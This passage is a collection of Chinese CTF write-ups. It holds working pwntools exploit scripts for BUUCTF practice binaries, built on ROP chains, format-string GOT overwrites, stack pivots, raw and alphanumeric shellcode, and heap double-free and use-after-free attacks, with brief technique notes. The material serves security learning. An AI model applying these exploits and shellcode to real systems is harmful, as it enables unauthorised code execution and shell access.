p = process("./PicoCTF_2018_got-shell")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x0804869b : pop ebp ; ret
0x08048698 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483bd : pop ebx ; ret
0x0804869a : pop edi ; pop ebp ; ret
0x08048699 : pop esi ; pop edi ; pop ebp ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
0x080484b8 : leave ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b puts")
raw_input()
context.log_level="debug"
back_addr = 0x0804854B
puts_got = elf.got["puts"]
p.sendlineafter(b"value?\n",hex(puts_got))
p.sendlineafter(b"\n",hex(back_addr))
p.interactive()
picoctf_2018_can_you_gets_me
直接找ROP 链
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
from struct import pack
elf = ELF("./PicoCTF_2018_can-you-gets-me")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","27014")
#p = remote("127.0.0.1","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./PicoCTF_2018_can-you-gets-me")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x0804869b : pop ebp ; ret
0x08048698 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483bd : pop ebx ; ret
0x0804869a : pop edi ; pop ebp ; ret
0x08048699 : pop esi ; pop edi ; pop ebp ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
0x080484b8 : leave ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
payload = b'a'*24+b"b"*4
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080b81c6) # pop eax ; ret
payload += b'/bin'
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea064) # @ .data + 4
payload += pack('<I', 0x080b81c6) # pop eax ; ret
payload += b'//sh'
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x08049303) # xor eax, eax ; ret
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481c9) # pop ebx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080de955) # pop ecx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x08049303) # xor eax, eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0806cc25) # int 0x80
p.sendlineafter(b"!\n",payload)
p.interactive()
wdb_2018_2nd_easyfmt
用了pwntools的框架,省事方便快捷
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./wdb_2018_2nd_easyfmt")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","25545")
#p = remote("127.0.0.1","8888")
libc = ELF("./libc-2.23.so_32")
else:
p = process("./wdb_2018_2nd_easyfmt")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
#debug()
context.log_level="debug"
__libc_start_main_got = elf.got[b"__libc_start_main"]
printf_got =elf.got[b"printf"]
payload = p32(__libc_start_main_got)+b"%6$s"
p.sendlineafter("\n",payload)
__libc_start_main_addr = u32(p.recvuntil(b"\xf7")[-4:])
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
payload = fmtstr_payload(6,{printf_got:system_addr})
p.sendlineafter("\n",payload)
p.interactive()
actf_2019_babystack
栈迁移,可以看(一)里面也有相应的讲解,但是不能用sendlineafter,要用sendafter
,要注意到栈对齐
我调了一下午,gdb调试的时候能通,去掉gdb就不行了,以为是逻辑的问题,结果是这道题本身的问题
太坑了
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./ACTF_2019_babystack")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","29647")
libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./ACTF_2019_babystack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x0000000000400acc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ace : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ad0 : pop r14 ; pop r15 ; ret
0x0000000000400ad2 : pop r15 ; ret
0x0000000000400acb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400acf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400860 : pop rbp ; ret
0x0000000000400ad3 : pop rdi ; ret
0x0000000000400ad1 : pop rsi ; pop r15 ; ret
0x0000000000400acd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400709 : ret
0x0000000000400782 : ret 0x2008
0x0000000000400a18 : leave ; ret
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
#""" debug 能打通,真正运行起来就不行了
p.sendlineafter(">",str(0xe0))
messaage_addr_str = p.recvuntil("\n")[-13:-1]
stack_addr = int(messaage_addr_str,16)
print(hex(stack_addr))
puts_plt = elf.plt[b"puts"]
__libc_start_main_got = elf.got[b"__libc_start_main"]
__libc_start_main_plt = elf.plt[b"__libc_start_main"]
main_addr2 = 0x4009ee
main_addr1 = 0x4009c1
main_addr3 = 0x4008F6
pop_rdi_ret_addr = 0x0000000000400ad3
leave_ret_addr = 0x0000000000400a18
ret_addr = 0x0000000000400709
payload = p64(stack_addr+0x110) +p64(ret_addr)+p64(pop_rdi_ret_addr)+p64(__libc_start_main_got)+p64(puts_plt)+p64(main_addr1)+b"b"*(0xd0-8*6)+p64(stack_addr)+p64(leave_ret_addr)
p.sendafter(">",payload)
p.recvuntil("Byebye~\n")
__libc_start_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
p.recvuntil(b"at ")
messaage_addr_str = p.recvuntil(b"\n")[-13:-1]
stack_addr = int(messaage_addr_str,16)
print(hex(stack_addr))
payload = b"a"*8+p64(ret_addr)+ p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(system_addr)+p64(main_addr1)+p64(main_addr2)+b"a"*(0xd0-7*8)+p64(stack_addr)+p64(leave_ret_addr)
p.sendafter(">",payload)
p.interactive()
mrctf2020_shellcode_revenge
程序的意思就是让你找一个用可见字符生成的shellcode即可
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./mrctf2020_shellcode_revenge")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","25797")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./mrctf2020_shellcode_revenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
for i in (0,len(shellcode)):
if 0x60<i <= 0x7a: # a-z
continue
if 0x40<i <= 0x5a:A-Z
continue
if 0x2f<i<0x5a: /-z
continue
return
call rax
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
context.arch = "amd64"
debug()
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.sendafter("!\n",shellcode)
p.interactive()
x_ctf_b0verfl0w
和上一道题一样,都是考验shellcode的构造,那就积累一点shellcode
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./b0verfl0w")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27971")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./b0verfl0w")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
raw_input()
context.log_level="debug"
debug()
shellcode = shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode =shellcode+b"\x00"+b"b"*(0x20-len(shellcode)-1-4)
sub_return_addr = 0x080484FE
jmp_esp_return_addr = 0x08048504
payload = b"c"*4+p32(jmp_esp_return_addr)+shellcode+p32(sub_return_addr)
p.sendlineafter("?\n",payload)
p.interactive()
picoctf_2018_leak_me
字符串泄漏,让他读不到\n
,就不会在末尾加\x00
,从而泄漏出password,最后再手动输入password,就OK了
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./PicoCTF_2018_leak-me")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27602")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./PicoCTF_2018_leak-me")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
payload =b"a"*254
p.sendlineafter("name?\n",payload)
p.interactive()
suctf_2018_basic pwn
经典的栈溢出
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./SUCTF_2018_basic_pwn")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","28976")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./SUCTF_2018_basic_pwn")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b scanf")
raw_input()
context.log_level="debug"
debug()
backdoor = 0x401157
payload = b"a"*0x110+ b"b"*8 + p64(backdoor)
p.sendline(payload)
p.interactive()
inndy_echo
想复杂了,刚开始想改echo Goodbye
改成/bin/sh\x00
,发现没有权限写。后来通过信息泄露找到ebp的地址,通过改下一条和参数在程序执行exit的时候执行system。实际上在执行完system("echo Goodbye");
时,后续的代码不会被执行。。。。。尴尬
后来一看直接改printf的got表就行了。。。。。。。
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./echo")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","29737")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./echo")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
debug()
"""
#0x08048686 没有写入的权限
x_addr = 0x08048686
command_1= 0x2f62696e
payload = fmtstr_payload(7,{x_addr:command_1})
p.sendline(payload)
x_addr += 4
command_2 = 0x2f736800
payload = fmtstr_payload(7,{x_addr:command_2})
p.sendline(payload)
"""
"""代码并不会执行
payload = "%4$p"
p.sendline(payload)
ebp_addr = int(p.recv(10)[2:],16) + 0x64
next_addr = ebp_addr+4
system_addr = elf.plt["system"]
x_addr = next_addr
payload = fmtstr_payload(7,{x_addr:system_addr})
log.info("ebp_addr:0x%x"%(ebp_addr))
#p.sendline("exit")
p.sendline(payload)
x_addr += 4
command_1= 0x6e69622f
payload = fmtstr_payload(7,{x_addr:command_1})
p.sendline(payload)
x_addr += 4
command_2 = 0x0068732f
payload = fmtstr_payload(7,{x_addr:command_2})
p.sendlineafter("\n",payload)
"""
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
p.sendlineafter("\n","/bin/sh\x00")
p.interactive()
wustctf2020_name_your_cat
数组越界写,直接更改返回地址
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./wustctf2020_name_your_cat")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27134")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./wustctf2020_name_your_cat")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b printf")
#raw_input()
context.log_level="debug"
debug()
shell_addr = 0x80485CB
for i in range(0,5):
offset = 7
p.sendlineafter(">","7")
payload = p32(shell_addr)
p.sendlineafter(": ",payload)
p.interactive()
axb_2019_fmt64
64位的格式化字符串漏洞和32位利用不一样,32位直接利用fmtstr_payload模块实现任意写,64位不行
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./axb_2019_fmt64")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","26142")
libc = ELF("./libc-2.23.so_64")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so")
else:
p = process("./axb_2019_fmt64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
__libc_start_main_got = elf.got["__libc_start_main"]
printf_got = elf.got["printf"]
payload =b"%9$saaaa"+ p64(__libc_start_main_got)
p.sendlineafter(":",payload)
p.recvuntil("Repeater:")
__libc_start_main_addr = u64((p.recv(6)).ljust(8,b"\x00"))
"""
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
#print(__libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
libc_base = __libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
"""
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
#puts_got = elf.got["puts"]
#x_addr = puts_got
#payload =fmtstr_payload(8,{x_addr:p64(system_addr)},9)
#p.sendlineafter(":",payload)
high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff
print('low'+hex(low_sys))
print('high'+hex(high_sys))
strlen_got = elf.got["strlen"]
payload2 = b"%" + str(high_sys - 9).encode() + b"c%12$hhn" + b"%" + str(low_sys - high_sys).encode() + b"c%13$hn"
#print(len(payload2))
#print(payload2)
payload2 = payload2.ljust(32,b"A") + p64(strlen_got + 2) + p64(strlen_got)
p.sendafter("Please tell me:",payload2)
payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
p.interactive()
cmcc_pwnme1
栈溢出
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./pwnme1")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27644")
libc = ELF("./libc-2.23.so_32")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so")
else:
p = process("./pwnme1")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
main_addr = 0x8048624
__libc_start_main_got = elf.got["__libc_start_main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding = b"a"*0xa4+b"b"*4
payload = padding + p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendlineafter(" ","5")
p.sendlineafter("fruit:",payload)
p.recvuntil(b"\x0a")
puts_addr = u32(p.recv(4))
"""
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.info("puts_addr:0x%x"%(puts_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
"""
libc_base= puts_addr-libc.sym["puts"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("puts_addr:0x%x"%(puts_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
payload = padding + p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendlineafter("fruit:",payload)
p.interactive()
axb_2019_brop64
简单栈溢出
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./axb_2019_brop64")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","29148")
libc = ELF("./libc-2.23.so_64")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./axb_2019_brop64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x000000000040095c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040095e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400960 : pop r14 ; pop r15 ; ret
0x0000000000400962 : pop r15 ; ret
0x000000000040095b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040095f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400740 : pop rbp ; ret
0x0000000000400963 : pop rdi ; ret
0x0000000000400961 : pop rsi ; pop r15 ; ret
0x000000000040095d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400629 : ret
0x0000000000400662 : ret 0x2009
0x00000000004008da : ret 0x8d48
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
raw_input()
context.log_level="debug"
debug()
repeater_addr = 0x400845
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret_addr = 0x400629
__libc_start_main_got = elf.got["__libc_start_main"]
pop_rdi_ret_addr = 0x400963
padding = b"a"*0xd0+b"b"*8
payload = padding +p64(pop_rdi_ret_addr)+p64(__libc_start_main_got)+ p64(puts_plt)+p64(repeater_addr)
p.sendlineafter(":",payload)
__libc_start_main_addr =u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = padding +p64(ret_addr)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+ p64(system_addr)
p.sendlineafter(":",payload)
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
p.interactive()
Not Bad
开了seccomp ,该模式下的进程只能调用4种系统调用(systemcall),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
具体解法
https://blog.youkuaiyun.com/mcmuyanga/article/details/113389703,把他的exp贴过来学习一下
又学习到了shellcraft
的新用法
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./bad")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27870")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./bad")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x0000000000400b0c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b0e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b10 : pop r14 ; pop r15 ; ret
0x0000000000400b12 : pop r15 ; ret
0x0000000000400b0b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b0f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop rbp ; ret
0x0000000000400b13 : pop rdi ; ret
0x0000000000400b11 : pop rsi ; pop r15 ; ret
0x0000000000400b0d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400761 : ret
rdi rsi rdx
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
context.arch='amd64'
debug()
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()
ciscn_2019_es_1
这到题本身并没有好说的,但是就搭建环境而言需要补充两点
- 环境搭建方面参考https://blog.youkuaiyun.com/weixin_41748164/article/details/127874334
- 在1的基础上我们发现,这样搭建的ubuntu18的libc与buuctf的libc虽然大版本是一致的,但是小版本却不对。这时我们需要用
glibc-all-in-one
下载2.27-3ubuntu1_amd64
,再利用patchelf在ubuntu18的docker中patch该程序便可进行愉快的调试了
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./ciscn_2019_es_1")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","29434")
libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so.ori")
else:
p = process("./ciscn_2019_es_1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
def madd(length,payload):
p.sendlineafter(":",b"1")
p.sendlineafter("\n",str(length))
p.sendafter(":\n",payload)
p.sendafter(":\n",str(123456789111))
def mfree(idx):
p.sendlineafter(":",b"3")
p.sendlineafter(":\n",str(idx))
def mshow(idx):
p.sendlineafter(":",b"2")
p.sendlineafter(":\n",str(idx))
#p.recvuntil(b"Done!")
payload = b"a"*8
madd(0x410,payload) # 0
madd(0x70,payload) # 1
madd(0x70,"/bin/sh\x00") # 2
mfree(0)
mshow(0)
offset = 0x3ebca0 - 96
#p.recvuntil(b"\x3a")
main_arena_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
main_arena_addr = main_arena_addr-96
libc_base = main_arena_addr - offset
malloc_hook_addr = main_arena_addr-0x10
system_addr = libc_base+ libc.sym["system"]
realloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
realloc_addr = libc_base + libc.sym["realloc"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
one_gadget_offset = [0x4f2c5,0x4f322,0x10a38c]
one_gadget_addr = libc_base + one_gadget_offset[1]
malloc_addr_heap_addr = malloc_hook_addr -0x23
"""
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
"""
mfree(1) #double free
mfree(1)
"""
payload = p64(malloc_addr_heap_addr)
madd(0x70,payload) # 3
madd(0x70,payload) # 4
payload = b"b"*0x23+p64(one_gadget_addr)
madd(0x70,payload) # 5
"""
payload = p64(free_hook_addr)# 指定任意写的位置
madd(0x70,payload) # 3
madd(0x70,payload) # 4
payload = p64(system_addr)
madd(0x70,payload) # 5# 修改free_hook为system的地址
mfree(2) # 相当于执行system("/bin/sh")
log.info("main_arena_addr:0x%x"%(main_arena_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("malloc_hook_addr:0x%x"%(malloc_hook_addr))
log.info("malloc_addr_heap_addr:0x%x"%(malloc_addr_heap_addr))
log.info("system_addr:0x%x"%(system_addr))
log.info("free_hook_addr:0x%x"%(free_hook_addr))
log.info("realloc_hook_addr:0x%x"%(realloc_hook_addr))
log.info("realloc_addr:0x%x"%(realloc_addr))
log.info("one_gadget_addr:0x%x"%(one_gadget_addr))
p.interactive()
wustctf2020_easyfast
uaf 漏洞,修改任意地址,基础
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./wustctf2020_easyfast")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27602")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./wustctf2020_easyfast")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
def madd(length):
p.sendlineafter(">\n",b"1")
p.sendlineafter(">\n",str(length))
def mfree(idx):
p.sendlineafter(">\n",b"2")
p.sendlineafter(">\n",str(idx))
def medit(idx,payload):
p.sendlineafter(">\n",b"3")
p.sendlineafter(">\n",str(idx))
p.send(payload)
backdoor_addr = 0x602080
madd(0x40) # 0
madd(0x40) # 1
mfree(0)
mfree(1)
payload = p64(backdoor_addr)
medit(1,payload)
madd(0x40) # 2
madd(0x40) # 3
payload = p64(0)
medit(3,payload)
p.sendlineafter(">\n",b"4")
p.interactive()
wdb2018_guess
第一次遇到,参考这篇博客 https://blog.youkuaiyun.com/Y_peak/article/details/115470540
需要说明一点,就是arg0和输入之间的距离如何计算
aaaaaaa
是我们输入的内容,没有问题
arg0应该aaaaaaa
的上面(高地址栈)在寻找的是如上图所示的类型,这样偏移就不会差了
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./GUESS")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","28618")
libc = ELF("./libc-2.23.so_64")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
else:
p = process("./GUESS")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b gets")
raw_input()
context.log_level="debug"
debug()
#sleep(2)
#payload=b'a'*0x58
#p.sendlineafter('flag\n',payload)
__libc_start_main_got = elf.got["__libc_start_main"]
payload=b'a'*0x128 + p64(__libc_start_main_got)
p.sendlineafter('flag\n',payload)
p.recvuntil('stack smashing detected ***: ')
__libc_start_main_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
environ_addr = libc_base + libc.sym['__environ']
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
log.info("environ_addr:0x%x"%(environ_addr))
payload=b'a'*0x128 + p64(environ_addr)
p.sendlineafter('flag\n',payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
flag_addr = stack_addr - 0x168
payload=b'a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)
p.interactive()
gyctf_2020_some_thing_exceting
double free 题目已经将flag读到了指定位置,没有开启PIE,甚至伪造好了堆的大小,很贴心。
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./gyctf_2020_some_thing_exceting")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","27423")
#libc = ELF("./libc-2.27_64.so")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so_64")
else:
p = process("./gyctf_2020_some_thing_exceting")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
